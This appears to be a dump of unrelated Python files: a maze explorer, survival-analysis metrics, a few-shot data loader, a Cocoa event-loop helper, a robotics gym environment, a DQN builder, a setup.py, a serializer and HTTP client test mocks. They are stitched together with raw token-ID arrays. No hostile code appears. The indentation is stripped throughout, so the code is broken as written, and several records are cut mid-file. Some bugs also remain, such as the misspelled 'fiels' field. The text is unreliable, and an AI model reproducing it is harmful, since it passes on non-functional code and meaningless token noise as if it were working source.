print("Collecting %s-%s" % (position, rotation))
def explore(self):
self.maze = defaultdict(lambda: 0)
self.maze[(0,0)] = 1
position = (0,0)
rotation = 0
self._explore(position, rotation)
def _explore(self, position, rotation):
self.maze[position] = 2
collect_spots = []
for i in range(4):
if self.maze[move_position(position, rotation)] == 0:
canMove = self._can_move()
state = 1 if canMove else 3
self.maze[move_position(position, rotation)] = state
if canMove:
collect_spots.append((move_position(position, rotation), rotation))
for r in range(3):
self.collect(self.controller.observe(), position, rotation + (float(r) / 3))
self._rotate(rotation + (float(r + 1) / 3))
if i != 3:
rotation = (rotation + 1) % 4
else:
self._rotate(rotation)
for i in range(4):
if len(collect_spots) > 0:
pos, rot = collect_spots.pop()
if rot == rotation:
self._move(pos)
self._explore(pos, rot)
self._move(position)
else:
collect_spots.append((pos, rot))
if i != 3:
rotation = (rotation - 1) % 4
self._rotate(rotation)
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performance_measures.py | kkeya1/FCPH | 0 | 45492 | <reponame>kkeya1/FCPH
#%%
# Main source = Deep hit model, 'https://github.com/chl8856/DeepHit'
#%%
'''
This provide time-dependent Concordance index and Brier Score:
- Use weighted_c_index and weighted_brier_score, which are the unbiased estimates.
See equations and descriptions eq. (11) and (12) of the following paper:
- <NAME>, <NAME>, <NAME>, <NAME>, "Temporal Quilting for Survival Analysis", AISTATS 2019
'''
import numpy as np
from lifelines import KaplanMeierFitter
def log_partial_lik(prediction, targets):
risk = prediction
E = targets
hazard_ratio = np.exp(risk)
log_risk = np.log(np.cumsum(hazard_ratio, axis=0))
uncensored_likelihood = risk - log_risk
censored_likelihood = uncensored_likelihood.transpose(0, 1) * E
num_observed_events = np.sum(E)
partial_likelihood = np.sum(censored_likelihood) / num_observed_events # log partial likelihood
return partial_likelihood
### C(t)-INDEX CALCULATION
def c_index(Prediction, Time_survival, Death, Time):
'''
This is a cause-specific c(t)-index
- Prediction : risk at Time (higher --> more risky)
- Time_survival : survival/censoring time
- Death :
> 1: death
> 0: censored (including death from other cause)
- Time : time of evaluation (time-horizon when evaluating C-index)
'''
N = len(Prediction)
A = np.zeros((N,N))
Q = np.zeros((N,N))
N_t = np.zeros((N,N))
Num = 0
Den = 0
for i in range(N):
A[i, np.where(Time_survival[i] < Time_survival)] = 1
Q[i, np.where(Prediction[i] > Prediction)] = 1
if (Time_survival[i]<=Time and Death[i]==1):
N_t[i,:] = 1
Num = np.sum(((A)*N_t)*Q)
Den = np.sum((A)*N_t)
if Num == 0 and Den == 0:
result = -1 # not able to compute c-index!
else:
result = float(Num/Den)
return result
### BRIER-SCORE
def brier_score(Prediction, Time_survival, Death, Time):
N = len(Prediction)
y_true = ((Time_survival <= Time) * Death).astype(float)
return np.mean((Prediction - y_true)**2)
# result2[k, t] = brier_score_loss(risk[:, k], ((te_time[:,0] <= eval_horizon) * (te_label[:,0] == k+1)).astype(int))
##### WEIGHTED C-INDEX & BRIER-SCORE
def CensoringProb(Y, T):
T = T.reshape([-1]) # (N,) - np array
Y = Y.reshape([-1]) # (N,) - np array
kmf = KaplanMeierFitter()
kmf.fit(T, event_observed=(Y==0).astype(int)) # censoring prob = survival probability of event "censoring"
G = np.asarray(kmf.survival_function_.reset_index()).transpose()
G[1, G[1, :] == 0] = G[1, G[1, :] != 0][-1] #fill 0 with ZoH (to prevent nan values)
return G
### C(t)-INDEX CALCULATION: this account for the weighted average for unbaised estimation
def weighted_c_index(T_train, Y_train, Prediction, T_test, Y_test, Time):
'''
This is a cause-specific c(t)-index
- Prediction : risk at Time (higher --> more risky)
- Time_survival : survival/censoring time
- Death :
> 1: death
> 0: censored (including death from other cause)
- Time : time of evaluation (time-horizon when evaluating C-index)
'''
G = CensoringProb(Y_train, T_train)
N = len(Prediction)
A = np.zeros((N,N))
Q = np.zeros((N,N))
N_t = np.zeros((N,N))
Num = 0
Den = 0
for i in range(N):
tmp_idx = np.where(G[0,:] >= T_test[i])[0]
if len(tmp_idx) == 0:
W = (1./G[1, -1])**2
else:
W = (1./G[1, tmp_idx[0]])**2
A[i, np.where(T_test[i] < T_test)] = 1. * W
Q[i, np.where(Prediction[i] > Prediction)] = 1. # give weights
if (T_test[i]<=Time and Y_test[i]==1):
N_t[i,:] = 1.
Num = np.sum(((A)*N_t)*Q)
Den = np.sum((A)*N_t)
if Num == 0 and Den == 0:
result = -1 # not able to compute c-index!
else:
result = float(Num/Den)
return result
# this account for the weighted average for unbaised estimation
def weighted_brier_score(T_train, Y_train, Prediction, T_test, Y_test, Time):
G = CensoringProb(Y_train, T_train)
N = len(Prediction)
W = np.zeros(len(Y_test))
Y_tilde = (T_test > Time).astype(float)
for i in range(N):
tmp_idx1 = np.where(G[0,:] >= T_test[i])[0]
tmp_idx2 = np.where(G[0,:] >= Time)[0]
if len(tmp_idx1) == 0:
G1 = G[1, -1]
else:
G1 = G[1, tmp_idx1[0]]
if len(tmp_idx2) == 0:
G2 = G[1, -1]
else:
G2 = G[1, tmp_idx2[0]]
W[i] = (1. - Y_tilde[i])*float(Y_test[i])/G1 + Y_tilde[i]/G2
y_true = ((T_test <= Time) * Y_test).astype(float)
return np.mean(W*(Y_tilde - (1.-Prediction))**2) | [
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] |
utils/read_data.py | ynztwlz/HSI_FewShot | 1 | 1617424 | import torch
from torch.utils.data import DataLoader,Dataset
import random
import numpy as np
from torch.utils.data.sampler import Sampler
#从数据集中选取support_set 和query_set
class get_SQ_set(object):
def __init__(self, data_classes, number_class, support_sample_num, query_sample_num):
self.data_classes = data_classes
self.num_class = number_class
self.support_shot_num = support_sample_num
self.query_shot_num = query_sample_num
classes_name = [i for i in self.data_classes.keys()]
np.random.shuffle(classes_name)
epoch_classes = classes_name[:self.num_class]
labels = np.array(range(len(epoch_classes)))#将随机选取的类重新定义为（1-class_number）
labels = dict(zip(epoch_classes, labels))#将类的名称和标记按照字典格式一一对应
temp = dict()
self.support_data = []
self.query_data = []
self.support_labels=[]
self.query_labels=[]
for c in epoch_classes:
temp[c] = random.sample(list(data_classes[c]), len(data_classes[c]))[0:200]
self.support_data.extend(temp[c][:self.support_shot_num])
self.support_labels.extend(
[labels[c] for i in range(self.support_shot_num)]) # 将标记根据字典转化成【0,1,2,3...】用于后面的one-hot编码
self.query_data.extend(temp[c][self.support_shot_num: self.support_shot_num + self.query_shot_num])
self.query_labels.extend([labels[c] for i in range(self.query_shot_num)])
class FewShotDataset(Dataset):
def __init__(self, task, split='support'):
self.task = task
self.split = split
self.data_roots = self.task.support_data if self.split == 'support' else self.task.query_data
self.labels = self.task.support_labels if self.split == 'support' else self.task.query_labels
def __len__(self):
return len(self.image_roots)
def __getitem__(self, idx):
raise NotImplementedError("This is an abstract class. Subclass this class for your particular dataset.")
class Hsi_Dataset(FewShotDataset):
def __init__(self, *args, **kwargs):
super(Hsi_Dataset, self).__init__(*args, **kwargs)
def __getitem__(self, idx):
data = self.data_roots[idx]
label = self.labels[idx]
return data, label
#进行类的平衡
class ClassBalancedSampler(Sampler):
''' Samples 'num_inst' examples each from 'num_cl' pools
of examples of size 'num_per_class' '''
def __init__(self, num_per_class, num_cl, num_inst,shuffle=False):
self.num_per_class = num_per_class
self.num_cl = num_cl
self.num_inst = num_inst
self.shuffle = shuffle
def __iter__(self):
# return a single list of indices, assuming that items will be grouped by class
if self.shuffle:
batch = [[i+j*self.num_inst for i in torch.randperm(self.num_inst)[:self.num_per_class]] for j in range(self.num_cl)]
else:
batch = [[i+j*self.num_inst for i in range(self.num_inst)[:self.num_per_class]] for j in range(self.num_cl)]
batch = [item for sublist in batch for item in sublist]
if self.shuffle:
random.shuffle(batch)
return iter(batch)
def __len__(self):
return 1
#获取dataset和dataloader
def get_data_loader(task, Number_way,num_per_class=1, split='train',shuffle=False):
dataset = Hsi_Dataset(task,split=split)
if split == 'support':#ClassBalancedSampler 数据平衡选择器
sampler = ClassBalancedSampler(num_per_class, Number_way, task.support_shot_num,shuffle=shuffle)
else:
sampler = ClassBalancedSampler(num_per_class, Number_way, task.query_shot_num,shuffle=shuffle)
loader = DataLoader(dataset, batch_size=num_per_class*Number_way, sampler=sampler)
return loader | [
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python/cohorte/boot/looper/AppHelper.py | isandlaTech/cohorte-runtime | 6 | 171306 | """
Original code from PyObjC-Cocoa
See: https://bitbucket.org/ronaldoussoren/pyobjc/
AppKit helpers.
Exported functions:
* runEventLoop - run NSApplicationMain in a safer way
* stopEventLoop - stops the event loop or terminates the application
* callAfter - call a function on the main thread (async)
"""
# Use cocoa-python instead of PyObjC
import logging
import sys
import traceback
from cohorte.cocoapy import ObjCClass, ObjCSubclass, ObjCInstance, \
send_super, PyObjectEncoding
# ------------------------------------------------------------------------------
__all__ = ('runEventLoop', 'stopEventLoop', 'callAfter')
_logger = logging.getLogger(__name__)
# Load Cocoa classes
# pylint: disable=C0103
NSApplication = ObjCClass('NSApplication')
NSRunAlertPanel = ObjCClass('NSRunAlertPanel')
NSApplicationMain = ObjCClass('NSApplicationMain')
NSApplicationDidFinishLaunchingNotification = \
ObjCClass('NSApplicationDidFinishLaunchingNotification')
NSObject = ObjCClass('NSObject')
NSRunLoop = ObjCClass('NSRunLoop')
NSTimer = ObjCClass('NSTimer')
NSDefaultRunLoopMode = ObjCClass('NSDefaultRunLoopMode')
NSNotificationCenter = ObjCClass('NSNotificationCenter')
NSLog = ObjCClass('NSLog')
NSAutoreleasePool = ObjCClass('NSAutoreleasePool')
# ------------------------------------------------------------------------------
def NSApp():
"""
Defines a method equivalent to the NSApp() call from PyObjC
:return: The application instance
"""
return NSApplication.sharedApplication()
# ------------------------------------------------------------------------------
class PyObjCAppHelperCaller_Implementation(object):
"""
Implementation of the call of methods in the main-thread
"""
PyObjCAppHelperCaller = ObjCSubclass('NSObject', 'PyObjCAppHelperCaller')
def initWithArgs_(self, args):
"""
Sets up the Objective-C subclass
"""
new_self = ObjCInstance(send_super(self, 'init'))
new_self.args = args
return new_self
@PyObjCAppHelperCaller.method(b'v' + PyObjectEncoding)
def callAfter_(self, sender):
"""
Waits for a call to be done
"""
self.performSelectorOnMainThread_withObject_waitUntilDone_(
self.call_, self.args, False)
@staticmethod
def call_(func_args_kwargs):
"""
Where the method call really happens
"""
(func, args, kwargs) = func_args_kwargs
func(*args, **kwargs)
PyObjCAppHelperCaller = ObjCClass('PyObjCAppHelperCaller')
def callAfter(func, *args, **kwargs):
"""
Call the given function on the main thread (async)
"""
pool = NSAutoreleasePool.alloc().init()
obj = PyObjCAppHelperCaller.alloc().initWithArgs_((func, args, kwargs))
obj.callAfter_(None)
del obj
del pool
# ------------------------------------------------------------------------------
class PyObjCAppHelperRunLoopStopper(object):
"""
A helper method to handle multiple run loops and their stopper.
"""
singletons = {}
def __init__(self):
self.shouldStop = False
@classmethod
def currentRunLoopStopper(cls):
"""
Returns the stopper of the current loop stopper
"""
run_loop = NSRunLoop.currentRunLoop()
return cls.singletons.get(run_loop)
def shouldRun(self):
"""
Checks if the event loop should continue
"""
return not self.shouldStop
@classmethod
def addRunLoopStopper_toRunLoop_(cls, run_loop_stopper, run_loop):
"""
Adds a loop stopper
"""
if run_loop in cls.singletons:
raise ValueError("Stopper already registered for this runLoop")
cls.singletons[run_loop] = run_loop_stopper
@classmethod
def removeRunLoopStopperFromRunLoop_(cls, run_loop):
"""
Removes the stopper of the given loop
"""
if run_loop not in cls.singletons:
raise ValueError("Stopper not registered for this runLoop")
del cls.singletons[run_loop]
def stop(self):
"""
Stops the event loop and terminates the application
"""
self.shouldStop = True
# this should go away when/if runEventLoop uses
# runLoop iteration
if NSApp() is not None:
NSApp().terminate_(self)
def stopEventLoop():
"""
Stop the current event loop if possible
returns True if it expects that it was successful, False otherwise
"""
stopper = PyObjCAppHelperRunLoopStopper.currentRunLoopStopper()
if stopper is None:
if NSApp() is not None:
NSApp().terminate_(None)
return True
return False
NSTimer.scheduledTimerWithTimeInterval_target_selector_userInfo_repeats_(
0.0, stopper, 'performStop:', None, False)
return True
# ------------------------------------------------------------------------------
def unexpectedErrorAlertPanel():
"""
Request the user to continue or quit the application
(untested)
"""
ex_info = traceback.format_exception_only(*sys.exc_info()[:2])[0].strip()
return NSRunAlertPanel(
"An unexpected error has occurred %@",
"Continue", "Quit", None, "({0})".format(ex_info))
RAISETHESE = (SystemExit, MemoryError, KeyboardInterrupt)
def runEventLoop(argv=None, unexpected_error_alert=None,
main=NSApplicationMain):
"""
Run the event loop, ask the user if we should continue if an
exception is caught. Use this function instead of NSApplicationMain().
:param argv: Application arguments
:param unexpected_error_alert: Method to call in case of unexpected error
:param main: Main application class
"""
if argv is None:
argv = sys.argv
if unexpected_error_alert is None:
unexpected_error_alert = unexpectedErrorAlertPanel
run_loop = NSRunLoop.currentRunLoop()
stopper = PyObjCAppHelperRunLoopStopper()
PyObjCAppHelperRunLoopStopper.addRunLoopStopper_toRunLoop_(
stopper, run_loop)
first_run = NSApp() is None
try:
while stopper.shouldRun():
try:
if first_run:
first_run = False
main(argv)
else:
NSApp().run()
except RAISETHESE as ex:
_logger.exception("Special handling of %s: %s",
type(ex).__name__, ex)
break
except Exception as ex:
_logger.exception("An unexpected exception occurred: %s", ex)
if not unexpected_error_alert():
sys.exit(0)
else:
break
finally:
PyObjCAppHelperRunLoopStopper.removeRunLoopStopperFromRunLoop_(
run_loop)
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pyrfuniverse/envs/robotics/franka_cloth_fold_env.py | happyCoderJDFJJ/pyrfuniverse | 0 | 58917 | <reponame>happyCoderJDFJJ/pyrfuniverse
from pyrfuniverse.envs import RFUniverseGymGoalWrapper
from pyrfuniverse.utils import RFUniverseController
import numpy as np
from gym import spaces
from gym.utils import seeding
import copy
class FrankaClothFoldEnv(RFUniverseGymGoalWrapper):
metadata = {'render.modes': ['human']}
height_offset = 0.01
def __init__(
self,
asset_bundle_file,
executable_file=None,
reward_type='sparse',
tolerance=0.05,
object_xz_range=0.055,
object_rotation_range=180,
):
super().__init__(
executable_file=executable_file,
camera_channel_id=None,
articulation_channel_id="581ec41b-1241-11ec-a092-18c04d443e7d",
obi_cloth_with_grasping_channel_id="581ec41a-1241-11ec-a092-18c04d443e7d",
game_object_channel_id=None,
)
self.reward_type = reward_type
self.tolerance = tolerance
self.object_xz_range = object_xz_range
self.object_rotation_range = object_rotation_range
self.object_range_low = np.array([-object_xz_range, self.height_offset, -object_xz_range])
self.object_range_high = np.array([object_xz_range, self.height_offset, object_xz_range])
self.asset_bundle_file = asset_bundle_file
self.ik_controller = RFUniverseController('franka', base_pos=np.array([-0.6, 0, 0]))
self.t = 0
self.has_loaded_object = False
self.goal = None
self.seed()
self._load_object()
self.action_space = spaces.Box(
low=-1, high=1, shape=(4,), dtype=np.float32
)
obs = self._get_obs()
self.observation_space = spaces.Dict({
'observation': spaces.Box(-np.inf, np.inf, shape=obs['observation'].shape, dtype=np.float32),
'desired_goal': spaces.Box(-np.inf, np.inf, shape=obs['desired_goal'].shape, dtype=np.float32),
'achieved_goal': spaces.Box(-np.inf, np.inf, shape=obs['achieved_goal'].shape, dtype=np.float32)
})
def step(self, action: np.ndarray):
pos_ctrl = action[:3] * 0.05
curr_pos = np.array(self.articulation_channel.data[1]['positions'][3])
pos_ctrl = curr_pos + pos_ctrl
joint_positions = self.ik_controller.calculate_ik_recursive(pos_ctrl)
curr_gripper_width = self._get_gripper_width()
target_gripper_width = curr_gripper_width + action[3] * 0.2
target_gripper_width = np.clip(target_gripper_width, 0, 0.08)
joint_positions.append(target_gripper_width)
self._set_franka_joints(np.array(joint_positions))
self.t += 1
obs = self._get_obs()
done = False
info = {
'is_success': self._check_success(obs)
}
reward = self.compute_reward(obs['achieved_goal'], obs['desired_goal'], info)
return obs, reward, done, info
def reset(self):
super().reset()
self._destroy_object()
self.env.reset()
self.ik_controller.reset()
self.t = 0
self._load_object()
grasp_position = self._get_grasp_position()
joint_positions = self.ik_controller.calculate_ik_recursive(grasp_position)
self.articulation_channel.set_action(
'SetJointPositionDirectly',
index=0,
joint_positions=list(joint_positions),
)
self._step()
return self._get_obs()
def seed(self, seed=1234):
self.np_random, seed = seeding.np_random(seed)
return [seed]
def render(self, mode='human'):
self._step()
def compute_reward(self, achieved_goal, desired_goal, info):
distance = self._compute_goal_distance(achieved_goal, desired_goal)
if self.reward_type == 'sparse':
return -(distance > self.tolerance).astype(np.float32)
else:
return -distance
def _get_obs(self):
gripper_position = np.array(self.articulation_channel.data[1]['positions'][3])
gripper_velocity = np.array(self.articulation_channel.data[1]['velocities'][3])
gripper_width = self._get_gripper_width()
panda_obs = np.concatenate((gripper_position, gripper_velocity, [gripper_width]))
grasp_position = np.array(self.obi_cloth_with_grasping_channel.data[0]['grasp_position'])
grasp_rotation = np.array(self.obi_cloth_with_grasping_channel.data[0]['grasp_rotation'])
grasp_velocity = np.array(self.obi_cloth_with_grasping_channel.data[0]['grasp_velocity'])
grasp_angular_vel = np.array(self.obi_cloth_with_grasping_channel.data[0]['grasp_angular_vel'])
achieved_goal = grasp_position.copy()
object_obs = np.concatenate((grasp_position, grasp_rotation, grasp_velocity, grasp_angular_vel))
obs = np.concatenate((panda_obs, object_obs))
return {
'observation': obs.copy(),
'achieved_goal': achieved_goal.copy(),
'desired_goal': self.goal.copy()
}
def _generate_random_float(self, min: float, max: float) -> float:
assert min < max, \
'Min value is {}, while max value is {}.'.format(min, max)
random_float = np.random.rand()
random_float = random_float * (max - min) + min
return random_float
def _set_franka_joints(self, a: np.ndarray):
self.articulation_channel.set_action(
'SetJointPosition',
index=0,
joint_positions=list(a[0:7]),
)
self._step()
a[7] = -1 * a[7] / 2
self.articulation_channel.set_action(
'SetJointPosition',
index=1,
joint_positions=[a[7], a[7]],
)
self._step()
def _get_gripper_width(self):
gripper_joint_positions = copy.deepcopy(self.articulation_channel.data[1]['joint_positions'])
return -1 * (gripper_joint_positions[0] + gripper_joint_positions[1])
def _check_success(self, obs):
achieved_goal = obs['achieved_goal']
desired_goal = obs['desired_goal']
distance = self._compute_goal_distance(achieved_goal, desired_goal)
return (distance < self.tolerance).astype(np.float32)
def _compute_goal_distance(self, goal_a, goal_b):
assert goal_a.shape == goal_b.shape
return np.linalg.norm(goal_a - goal_b, axis=-1)
def _load_object(self):
assert self.asset_bundle_file is not None, \
'There must be an asset bundle file to load.'
object_name = 'Obi Solver For Grasp'
position = self.np_random.uniform(self.object_range_low, self.object_range_high)
rotation = [0, self._generate_random_float(-self.object_rotation_range, self.object_rotation_range), 0]
self.obi_cloth_with_grasping_channel.set_action(
'LoadObiClothWithGrasping',
filename=self.asset_bundle_file,
name=object_name,
position=position,
rotation=rotation
)
self._step()
self.has_loaded_object = True
self.goal = np.array(self.obi_cloth_with_grasping_channel.data[0]['target_position'])
def _destroy_object(self):
self.obi_cloth_with_grasping_channel.set_action(
'Destroy',
index=0
)
self._step()
self.has_loaded_object = False
self.goal = None
def _get_grasp_position(self):
assert self.has_loaded_object, \
'No object loaded.'
grasp_position = np.array(self.obi_cloth_with_grasping_channel.data[0]['grasp_position'])
return grasp_position
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acme/agents/jax/dqn/builder.py | ostap-viniavskyi/acme | 1 | 70046 | # Copyright 2018 DeepMind Technologies Limited. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""DQN Builder."""
from typing import Callable, Iterator, List, Optional, Sequence
from acme import adders
from acme import core
from acme import specs
from acme.adders import reverb as adders_reverb
from acme.agents.jax import actors
from acme.agents.jax import builders
from acme.agents.jax.dqn import actor as dqn_actor
from acme.agents.jax.dqn import config as dqn_config
from acme.agents.jax.dqn import learning_lib
from acme.datasets import reverb as datasets
from acme.jax import networks as networks_lib
from acme.jax import variable_utils
from acme.utils import counting
from acme.utils import loggers
import optax
import reverb
from reverb import rate_limiters
class DQNBuilder(builders.ActorLearnerBuilder):
"""DQN Builder."""
def __init__(
self,
config: dqn_config.DQNConfig,
loss_fn: learning_lib.LossFn,
logger_fn: Callable[[], loggers.Logger] = lambda: None,
actor_backend: Optional[str] = 'cpu'
):
"""Creates DQN learner and the behavior policies.
Args:
config: DQN config.
loss_fn: A loss function.
logger_fn: a logger factory for the learner.
actor_backend: Which backend to use when jitting the policy.
"""
self._config = config
self._loss_fn = loss_fn
self._logger_fn = logger_fn
self._actor_backend = actor_backend
def make_learner(
self,
random_key: networks_lib.PRNGKey,
networks: networks_lib.FeedForwardNetwork,
dataset: Iterator[reverb.ReplaySample],
replay_client: Optional[reverb.Client] = None,
counter: Optional[counting.Counter] = None,
) -> core.Learner:
return learning_lib.SGDLearner(
network=networks,
random_key=random_key,
optimizer=optax.adam(self._config.learning_rate,
eps=self._config.adam_eps),
target_update_period=self._config.target_update_period,
data_iterator=dataset,
loss_fn=self._loss_fn,
replay_client=replay_client,
replay_table_name=self._config.replay_table_name,
counter=counter,
num_sgd_steps_per_step=self._config.num_sgd_steps_per_step,
logger=self._logger_fn())
def make_actor(
self,
random_key: networks_lib.PRNGKey,
policy_network: dqn_actor.EpsilonPolicy,
adder: Optional[adders.Adder] = None,
variable_source: Optional[core.VariableSource] = None,
) -> core.Actor:
assert variable_source is not None
# Inference happens on CPU, so it's better to move variables there too.
variable_client = variable_utils.VariableClient(variable_source, '',
device='cpu')
epsilon = self._config.epsilon
epsilons = epsilon if epsilon is Sequence else (epsilon,)
actor_core = dqn_actor.alternating_epsilons_actor_core(
policy_network, epsilons=epsilons)
return actors.GenericActor(actor=actor_core,
random_key=random_key,
variable_client=variable_client,
adder=adder,
backend=self._actor_backend)
def make_replay_tables(
self, environment_spec: specs.EnvironmentSpec) -> List[reverb.Table]:
"""Creates reverb tables for the algorithm."""
samples_per_insert_tolerance = (
self._config.samples_per_insert_tolerance_rate *
self._config.samples_per_insert)
error_buffer = self._config.min_replay_size * samples_per_insert_tolerance
limiter = rate_limiters.SampleToInsertRatio(
min_size_to_sample=self._config.min_replay_size,
samples_per_insert=self._config.samples_per_insert,
error_buffer=error_buffer)
return [reverb.Table(
name=self._config.replay_table_name,
sampler=reverb.selectors.Prioritized(self._config.priority_exponent),
remover=reverb.selectors.Fifo(),
max_size=self._config.max_replay_size,
rate_limiter=limiter,
signature=adders_reverb.NStepTransitionAdder.signature(
environment_spec))]
def make_dataset_iterator(
self, replay_client: reverb.Client) -> Iterator[reverb.ReplaySample]:
"""Creates a dataset iterator to use for learning."""
dataset = datasets.make_reverb_dataset(
table=self._config.replay_table_name,
server_address=replay_client.server_address,
batch_size=(
self._config.batch_size * self._config.num_sgd_steps_per_step),
prefetch_size=self._config.prefetch_size)
return dataset.as_numpy_iterator()
def make_adder(self, replay_client: reverb.Client) -> adders.Adder:
"""Creates an adder which handles observations."""
return adders_reverb.NStepTransitionAdder(
priority_fns={self._config.replay_table_name: None},
client=replay_client,
n_step=self._config.n_step,
discount=self._config.discount)
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] |
setup.py | getwarped/powershift-image | 2 | 1602427 | import sys
import os
from setuptools import setup
long_description = open('README.rst').read()
classifiers = [
'Development Status :: 4 - Beta',
'License :: OSI Approved :: BSD License',
'Programming Language :: Python :: 2',
'Programming Language :: Python :: 2.7',
'Programming Language :: Python :: 3',
'Programming Language :: Python :: 3.3',
'Programming Language :: Python :: 3.4',
'Programming Language :: Python :: 3.5',
'Programming Language :: Python :: 3.6',
]
setup_kwargs = dict(
name='powershift-image',
version='1.4.2',
description='PowerShift command plugin for working in S2I images.',
long_description=long_description,
url='https://github.com/getwarped/powershift-image',
author='<NAME>',
author_email='<EMAIL>',
license='BSD',
classifiers=classifiers,
keywords='openshift kubernetes',
packages=['powershift', 'powershift.image', 'powershift.image.scripts'],
package_dir={'powershift': 'src/powershift'},
extras_require={'cli': ['powershift-cli>=1.2.0']},
entry_points = {'powershift_cli_plugins': ['image = powershift.image']},
package_data = {'powershift.image.scripts': ['alive.sh', 'assemble.sh',
'exec.sh', 'jobs.sh', 'migrate.sh', 'ready.sh', 'run.sh', 'setup.sh',
'shell.sh', 'verify.sh']},
)
setup(**setup_kwargs)
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353,
11117,
12248,
414,
29882,
2027,
29918,
11303,
29918,
12800,
2396,
6024,
3027,
353,
10801,
29882,
2027,
29889,
3027,
2033,
1118,
13,
1678,
3577,
29918,
1272,
353,
11117,
12248,
414,
29882,
2027,
29889,
3027,
29889,
16713,
2396,
6024,
284,
573,
29889,
845,
742,
525,
465,
6967,
29889,
845,
742,
13,
4706,
525,
4258,
29889,
845,
742,
525,
9057,
29879,
29889,
845,
742,
525,
26983,
403,
29889,
845,
742,
525,
2040,
29889,
845,
742,
525,
3389,
29889,
845,
742,
525,
14669,
29889,
845,
742,
13,
4706,
525,
15903,
29889,
845,
742,
525,
27902,
29889,
845,
2033,
1118,
13,
29897,
13,
13,
14669,
29898,
1068,
14669,
29918,
19290,
29897,
13,
2
] |
MiniTwitter/MiniTwitter/serializer.py | camumbembe/mini_twitter | 0 | 119565 | <filename>MiniTwitter/MiniTwitter/serializer.py
from rest_framework import serializers
from .models import Tweet
class TweetModelSerializer(serializers.ModelSerializer):
class Meta:
model = Tweet
fiels = ('author', 'content', 'likes') | [
1,
529,
9507,
29958,
29924,
2172,
27418,
5171,
29914,
29924,
2172,
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5171,
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13,
3166,
1791,
29918,
4468,
1053,
7797,
19427,
13,
13,
3166,
869,
9794,
1053,
323,
16668,
13,
13,
1990,
323,
16668,
3195,
17679,
29898,
15550,
19427,
29889,
3195,
17679,
1125,
13,
1678,
770,
20553,
29901,
13,
4706,
1904,
353,
323,
16668,
13,
4706,
285,
28119,
353,
6702,
8921,
742,
525,
3051,
742,
525,
5081,
267,
1495,
2
] |
tests/core/http/test_clienting.py | pfeairheller/hio | 1 | 177448 | <reponame>pfeairheller/hio<filename>tests/core/http/test_clienting.py
# -*- coding: utf-8 -*-
"""
Unittests for http clienting module
"""
import sys
import os
import time
from urllib.parse import urlsplit, quote_plus, unquote
import pytest
from hio import help
from hio.help import helping
from hio.help import Hict
from hio.base import tyming
from hio.core import wiring, tcp, http
from hio.core.http import clienting
logger = help.ogler.getLogger()
tlsdirpath = os.path.dirname(
os.path.dirname(
os.path.abspath(
sys.modules.get(__name__).__file__)))
certdirpath = os.path.join(tlsdirpath, 'tls', 'certs')
def mockEchoService(server):
"""
mock echo server service for testing
"""
mockMsg = (b'GET /echo?name=fame HTTP/1.1\r\n'
b'Host: 127.0.0.1:6101\r\n'
b'Accept-Encoding: identity\r\n'
b'Accept: application/json\r\n\r\n')
mockMsgLocalhost = (b'GET /echo?name=fame HTTP/1.1\r\n'
b'Host: localhost:6101\r\n'
b'Accept-Encoding: identity\r\n'
b'Accept: application/json\r\n\r\n')
server.serviceConnects()
if server.ixes:
server.serviceReceivesAllIx()
ixClient = list(server.ixes.values())[0]
msgIn = bytes(ixClient.rxbs)
if msgIn in (mockMsg, mockMsgLocalhost):
ixClient.clearRxbs()
msgOut = (b'HTTP/1.1 200 OK\r\n'
b'Content-Length: 122\r\n'
b'Content-Type: application/json\r\n'
b'Date: Thu, 30 Apr 2015 19:37:17 GMT\r\n'
b'Server: IoBook.local\r\n\r\n'
b'{"content": null, '
b'"query": {"name": "fame"}, '
b'"verb": "GET", '
b'"url": "http://127.0.0.1:8080/echo?name=fame", '
b'"action": null}')
ixClient.tx(msgOut)
msgIn = b''
msgOut = b''
server.serviceSendsAllIx()
def mockEchoServiceJson(server):
"""
mock echo server service with json data request body utility function
"""
mockMsg = (b'PUT /echo?name=fame HTTP/1.1\r\n'
b'Host: localhost:6101\r\n'
b'Accept-Encoding: identity\r\n'
b'Content-Length: 31\r\n'
b'Accept: application/json\r\n'
b'Content-Type: application/json; charset=utf-8\r\n\r\n'
b'{"first":"John","last":"Smith"}')
server.serviceConnects()
if server.ixes:
server.serviceReceivesAllIx()
ixClient = list(server.ixes.values())[0]
msgIn = bytes(ixClient.rxbs)
if msgIn == mockMsg:
ixClient.clearRxbs()
msgOut = (b'HTTP/1.1 200 OK\r\n'
b'Content-Length: 122\r\n'
b'Content-Type: application/json\r\n'
b'Date: Thu, 30 Apr 2015 19:37:17 GMT\r\n'
b'Server: IoBook.local\r\n\r\n'
b'{"content": null, '
b'"query": {"name": "fame"}, '
b'"verb": "GET", '
b'"url": "http://127.0.0.1:8080/echo?name=fame", '
b'"action": null}')
ixClient.tx(msgOut)
msgIn = b''
msgOut = b''
server.serviceSendsAllIx()
def mockRedirectPathService(server):
"""
mock echo server service utility function
"""
mockMsg = (b'GET /echo?name=fame HTTP/1.1\r\n'
b'Host: 127.0.0.1:6101\r\n'
b'Accept-Encoding: identity\r\n'
b'Accept: application/json\r\n\r\n')
mockRedirectMsg = (b'GET /redirect?name=fame HTTP/1.1\r\n'
b'Host: 127.0.0.1:6101\r\n'
b'Accept-Encoding: identity\r\n'
b'Accept: application/json\r\n\r\n')
server.serviceConnects()
if server.ixes:
server.serviceReceivesAllIx()
ixClient = list(server.ixes.values())[0]
msgIn = bytes(ixClient.rxbs)
if msgIn == mockMsg:
ixClient.clearRxbs()
msgOut = (b'HTTP/1.1 307 Temporary Redirect\r\n'
b'Content-Type: text/plain\r\n'
b'Content-Length: 0\r\n'
b'Access-Control-Allow-Origin: *\r\n'
b'Location: http://localhost:6101/redirect?name=fame\r\n\r\n')
ixClient.tx(msgOut)
msgIn = b''
msgOut = b''
elif msgIn== mockRedirectMsg:
ixClient.clearRxbs()
msgOut = (b'HTTP/1.1 200 OK\r\n'
b'Content-Length: 122\r\n'
b'Content-Type: application/json\r\n'
b'Date: Thu, 30 Apr 2015 19:37:17 GMT\r\n'
b'Server: IoBook.local\r\n\r\n'
b'{"content": null, '
b'"query": {"name": "fame"}, '
b'"verb": "GET", '
